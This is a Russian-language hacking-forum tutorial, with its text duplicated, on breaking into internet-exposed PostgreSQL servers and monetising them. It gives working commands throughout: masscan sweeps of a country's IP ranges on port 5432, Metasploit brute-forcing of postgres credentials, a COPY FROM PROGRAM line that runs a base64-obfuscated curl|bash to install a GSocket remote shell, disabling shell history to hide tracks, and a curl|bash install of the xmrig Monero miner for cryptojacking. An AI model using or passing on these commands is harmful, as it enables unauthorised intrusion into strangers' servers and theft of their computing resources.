Автор @Dronky
Специально для forum.LIMB.cc
Всем привет! Наверняка каждый из вас хотя бы раз в жизни слышал слово «Postgres». Его хвалят разработчики, уважают сисадмины, а твой одногруппник Вася делал когда то лабу с ним. В этой статье я расскажу как взломать PostgreSQL и немного с этого заработать)
Я буду все показывать на Linux. Поэтому, если вы хотите повторить что нибудь из статьи - поставьте какой-ниубдь Linux-дистрибутив на виртуалку, а лучше используйте дедик.
Теория
Что такое postgres?
PostgreSQL (или просто Postgres) — это бесплатная объектно-реляционная система управления базами данных с открытым исходным кодом.
Она позволяет создавать, хранить и управлять базами данных с помощью языка запросов SQL, обеспечивая надежное хранение, гибкий доступ и управление данными.
По данным опроса Stack Overflow 2025 года, PostgreSQL — самая популярная система управления базами данных (СУБД) в мире.
Практика
Заходим сюда --> https://www.iwik.org/ipcountry/
Выбираем страну, которую будем сканить. Например, Сингапур. Получаем такую ссылку https://www.iwik.org/ipcountry/SG.cidr (две заглавные буквы - это двухбуквенный код страны)
Открываем терминал и пишем команду для скачивания ip диапазонов:
Теперь запускаем masscan (c его помощью мы найдем postgres сервера)
Объяснение команды:
-iL - указываем масскану файл с ip-диапазонами, которые нужно просканировать
--rate - скорость сканирования
Важно: если вы укажете слишком большой rate например 20000, то возможны пропуски ip адресов
Например, если вы будете сканировать с rate 300 вы получите - 1000 ip, а (к примеру) с rate 20000 - 670 ip
-p - указываем порт, который нужно сканировать. Postgres использует по умолчанию 5432 порт, поэтому пишем его
-oX - сохраняем результаты сканирования в файл
После завершения сканирования у вас будет файл примерно с таким содержимым:
Нам нужно почистить этот файл от лишнего мусора, чтобы в нем остались ip адреса в таком формате:
x.x.x.x
пример: 192.168.1.1
Для этого мы будем использовать regex (регулярные выражения) и утилиту grep:
Эта команда найдет все ip адреса в файле results_sg_5432.txt и сохранит их в файл ips_sg_5432.txt
results_sg_5432.txt - файл с «мусором»
ips_sg_5432.txt - почищенный файл, в котором содержатся только ip адреса
Старайтесь называть файлы так, чтобы по названию было примерно понятно, что там находится.
В итоге мы получили файл с ip-адресами серверов postgres, работающих на порту 5432:
Этап 2. Брутфорсим PostgreSQL сервера с помощью metasploit framework
Вы можете использовать какой-нибудь другой инструмент. Неважно. Наша задача - получить доступ к postgres серверам методом bruteforce.
Запускаем metasploit framework:
Настраиваем metasploit framework для брута postgres:
Когда брут завершится - пропишите команду
Эта команда покажет нам сбрученные postgres сервера, т.е. к которым удалось получить доступ:
host - ip адрес сбрученного postgres сервера
public - имя пользователя
private - пароль
Этап 3. Подключаемся к PostgreSQL серверу
Пропишем в терминале команду для подключения к postgres:
Объяснение:
psql - утилита для подключения к postgres
-h - указываем ip postgres сервера, к которому подключаемся
-p - указываем порт подключения
-U указываем имя пользователя
При успешном подключении вы попадете в psql консоль:
Этап 4. Получаем доступ к хосту, на котором работает PostgreSQL
Для этого мы будем использовать GSocket (https://www.gsocket.io/) и команды SQL поддерживаемые PostgreSQL (https://www.postgresql.org/docs/current/sql-commands.html)
Итак, вот команды с помощью которых мы попытаемся получить шелл на хостовой системе:
Ничего непонятно, но очень интересно - скажете вы =)
Сейчас все объясню
CREATE TABLE IF NOT EXISTS pg_temp.log_tmp (filename TEXT);
Создаем временную таблицу для хранения данных. Таблица будет существовать только в текущей сессии. Она автоматически удалится, как только мы отключимся от postgres сервера.
TRUNCATE pg_temp.log_tmp;
Очищаем таблицу от любых данных, которые могли остаться с предыдущих запусков.
COPY pg_temp.log_tmp FROM PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))" || exit 0' WITH DELIMITER '~';
Эту команду разберем по частям:
SELECT * FROM pg_temp.log_tmp;
эта команда выведет все содержимое таблицы log_tmp
Важно!
Команда COPY...PROGRAM не сработает если у юзера нет прав суперпользователя (superuser)
Существует несколько причин почему у юзера нет прав:
1.админ сам изменил права
2.сервер до вас отработали) Например, взламывают сервер и выполняют команду: ALTER user "postgres"
эта команда лишает прав суперпользователя (nosuperuser) юзера postgres
Если вы сделали все верно, то в psql консоли появится вывод от gsocket:
Теперь откройте терминал и введите команду полученную от gsocket (на фото указана синей стрелкой). Команда: gs-netcat -s "secret" -i
Нажмите enter.
Поздравляю! Вы получили шелл на хост-системе.
Переходим к последнему этапу - монетизация
Этап 5. Монетизация
Скорее всего по фото вы уже догадались, что мы будем майнить.
Пул, который я буду использовать - c3pool
Программа для майнинга - xmrig
Нам нужно скачать какой-нибудь monero кошелек. Например, exodus.
Установите его и откройте.
Перейдите в Wallet и в поиске напишите Monero.
Нажмите на кнопку Receive.
Скопируйте адрес своего кошелька monero.
На взломанной тачке введите
Следующей командой установим и запустим xmrig:
После этого должен начаться процесс майнинга. Через 5-10 минут машина, на которой вы запустили xmrig должна отобразится в вашем личном кабинете c3pool.
Как войти в личный кабинет?
Перейдите сюда https://c3pool.org/ и впишите адрес вашего кошелька monero.
Нажмите кнопку Search.
Вы попадете в личный кабинет.
В нем вы сможете смотреть количество ваших воркеров, т.е количество машин на которых запущен xmrig, хешрейт и многое другое.
На этом у меня все.
Специально для forum.LIMB.cc
Не удалось прогрузить медиа
Всем привет! Наверняка каждый из вас хотя бы раз в жизни слышал слово «Postgres». Его хвалят разработчики, уважают сисадмины, а твой одногруппник Вася делал когда то лабу с ним. В этой статье я расскажу как взломать PostgreSQL и немного с этого заработать)
Я буду все показывать на Linux. Поэтому, если вы хотите повторить что нибудь из статьи - поставьте какой-ниубдь Linux-дистрибутив на виртуалку, а лучше используйте дедик.
Теория
Что такое postgres?
PostgreSQL (или просто Postgres) — это бесплатная объектно-реляционная система управления базами данных с открытым исходным кодом.
Она позволяет создавать, хранить и управлять базами данных с помощью языка запросов SQL, обеспечивая надежное хранение, гибкий доступ и управление данными.
По данным опроса Stack Overflow 2025 года, PostgreSQL — самая популярная система управления базами данных (СУБД) в мире.
Практика
Этап 1. Поиск PostgreSQL серверов с помощью masscan
Для начала нам нужно получить ip диапазоны (IP ranges)Заходим сюда --> https://www.iwik.org/ipcountry/
Выбираем страну, которую будем сканить. Например, Сингапур. Получаем такую ссылку https://www.iwik.org/ipcountry/SG.cidr (две заглавные буквы - это двухбуквенный код страны)
Открываем терминал и пишем команду для скачивания ip диапазонов:
Code:
wget https://www.iwik.org/ipcountry/SG.cidr
Теперь запускаем masscan (c его помощью мы найдем postgres сервера)
Code:
sudo masscan -iL SG.cidr --rate 500 -p5432 -oX results_sg_5432.txt
Объяснение команды:
-iL - указываем масскану файл с ip-диапазонами, которые нужно просканировать
--rate - скорость сканирования
Важно: если вы укажете слишком большой rate например 20000, то возможны пропуски ip адресов
Например, если вы будете сканировать с rate 300 вы получите - 1000 ip, а (к примеру) с rate 20000 - 670 ip
-p - указываем порт, который нужно сканировать. Postgres использует по умолчанию 5432 порт, поэтому пишем его
-oX - сохраняем результаты сканирования в файл
После завершения сканирования у вас будет файл примерно с таким содержимым:
Не удалось прогрузить медиа
Нам нужно почистить этот файл от лишнего мусора, чтобы в нем остались ip адреса в таком формате:
x.x.x.x
пример: 192.168.1.1
Для этого мы будем использовать regex (регулярные выражения) и утилиту grep:
Code:
sudo grep -oP 'addr="(\d+\.\d+\.\d+\.\d+)"' results_sg_5432.txt | sed 's/addr="//g; s/"//g' > ips_sg_5432.txt
Эта команда найдет все ip адреса в файле results_sg_5432.txt и сохранит их в файл ips_sg_5432.txt
results_sg_5432.txt - файл с «мусором»
ips_sg_5432.txt - почищенный файл, в котором содержатся только ip адреса
Старайтесь называть файлы так, чтобы по названию было примерно понятно, что там находится.
В итоге мы получили файл с ip-адресами серверов postgres, работающих на порту 5432:
Не удалось прогрузить медиа
Этап 2. Брутфорсим PostgreSQL сервера с помощью metasploit framework
Вы можете использовать какой-нибудь другой инструмент. Неважно. Наша задача - получить доступ к postgres серверам методом bruteforce.
Запускаем metasploit framework:
msfdb initmsfconsoleНастраиваем metasploit framework для брута postgres:
Code:
1. use auxiliary/scanner/postgres/postgres_login (используем модуль для брута postgres)
2. set PASS_FILE /home/lolkek/passwords.txt (указываем путь к файлу с паролями для брута)
3. set USER_FILE /home/lolkek/users.txt (указываем путь к файлу с юзерами, у меня там один юзер - postgres)
4. set RHOSTS file:/home/lolkek/ips_sg_5432.txt (указываем путь к «почищенному» файлу с ip-адресами, которые мы получили на первом этапе)
5. set STOP_ON_SUCCESS true (если метасплоит подобрал логин и пароль например, к серверу 192.168.1.1, то больше он не будет брутить этот сервак)
6. set THREADS 10 (скорость брута)
7. set verbose true (выводить информацию о бруте)
8. run (запускаем брут)
Когда брут завершится - пропишите команду
credsЭта команда покажет нам сбрученные postgres сервера, т.е. к которым удалось получить доступ:
Не удалось прогрузить медиа
host - ip адрес сбрученного postgres сервера
public - имя пользователя
private - пароль
Этап 3. Подключаемся к PostgreSQL серверу
Пропишем в терминале команду для подключения к postgres:
Code:
psql -h <ip> -p 5432 -U <username>
Объяснение:
psql - утилита для подключения к postgres
-h - указываем ip postgres сервера, к которому подключаемся
-p - указываем порт подключения
-U указываем имя пользователя
При успешном подключении вы попадете в psql консоль:
Не удалось прогрузить медиа
Этап 4. Получаем доступ к хосту, на котором работает PostgreSQL
Для этого мы будем использовать GSocket (https://www.gsocket.io/) и команды SQL поддерживаемые PostgreSQL (https://www.postgresql.org/docs/current/sql-commands.html)
Итак, вот команды с помощью которых мы попытаемся получить шелл на хостовой системе:
Code:
CREATE TABLE IF NOT EXISTS pg_temp.log_tmp (filename TEXT);
TRUNCATE pg_temp.log_tmp;
COPY pg_temp.log_tmp FROM PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))" || exit 0' WITH DELIMITER '~';
SELECT * FROM pg_temp.log_tmp;
Ничего непонятно, но очень интересно - скажете вы =)
Сейчас все объясню
CREATE TABLE IF NOT EXISTS pg_temp.log_tmp (filename TEXT);
Создаем временную таблицу для хранения данных. Таблица будет существовать только в текущей сессии. Она автоматически удалится, как только мы отключимся от postgres сервера.
TRUNCATE pg_temp.log_tmp;
Очищаем таблицу от любых данных, которые могли остаться с предыдущих запусков.
COPY pg_temp.log_tmp FROM PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))" || exit 0' WITH DELIMITER '~';
Эту команду разберем по частям:
COPY pg_temp.log_tmp FROM
позволяет выполнить встроенную команду Linux и записать ее вывод в таблицу log_tmp
PROGRAM 'bash -c "$(curl -fsSL $(echo aHR0cHM6Ly9nc29ja2V0LmlvL3k= | base64 -d))"
эта команда установит gsocket на хостовую тачку. Я просто взял команду отсюда https://www.gsocket.io/deploy/ и закодировал в base64
|| exit 0
если команда curl завершится с ошибкой, то команда вернет код 0 после выполнения, не приводя к ошибкам выполнения в postgres
WITH DELIMITER '~'
нужно, чтобы postgresql правильно "распарсил" данные
SELECT * FROM pg_temp.log_tmp;
эта команда выведет все содержимое таблицы log_tmp
Важно!
Команда COPY...PROGRAM не сработает если у юзера нет прав суперпользователя (superuser)
Существует несколько причин почему у юзера нет прав:
1.админ сам изменил права
2.сервер до вас отработали) Например, взламывают сервер и выполняют команду: ALTER user "postgres"
эта команда лишает прав суперпользователя (nosuperuser) юзера postgres
Если вы сделали все верно, то в psql консоли появится вывод от gsocket:
Не удалось прогрузить медиа
Теперь откройте терминал и введите команду полученную от gsocket (на фото указана синей стрелкой). Команда: gs-netcat -s "secret" -i
Не удалось прогрузить медиа
Нажмите enter.
Поздравляю! Вы получили шелл на хост-системе.
Не удалось прогрузить медиа
Переходим к последнему этапу - монетизация
Этап 5. Монетизация
Не удалось прогрузить медиа
Скорее всего по фото вы уже догадались, что мы будем майнить.
Пул, который я буду использовать - c3pool
Программа для майнинга - xmrig
Нам нужно скачать какой-нибудь monero кошелек. Например, exodus.
Установите его и откройте.
Перейдите в Wallet и в поиске напишите Monero.
Нажмите на кнопку Receive.
Скопируйте адрес своего кошелька monero.
Не удалось прогрузить медиа
На взломанной тачке введите
set +o history (эта команда отключает запись команд в историю для текущей сессии Bash)Следующей командой установим и запустим xmrig:
Code:
sudo curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s тут адрес вашего кошелька monero
Не удалось прогрузить медиа
После этого должен начаться процесс майнинга. Через 5-10 минут машина, на которой вы запустили xmrig должна отобразится в вашем личном кабинете c3pool.
Как войти в личный кабинет?
Перейдите сюда https://c3pool.org/ и впишите адрес вашего кошелька monero.
Нажмите кнопку Search.
Не удалось прогрузить медиа
Вы попадете в личный кабинет.
Не удалось прогрузить медиа
В нем вы сможете смотреть количество ваших воркеров, т.е количество машин на которых запущен xmrig, хешрейт и многое другое.
На этом у меня все.
Всем спасибо за внимание =)
👍31
❤️4
😁6
😮6
🤔4
😢3
LIMB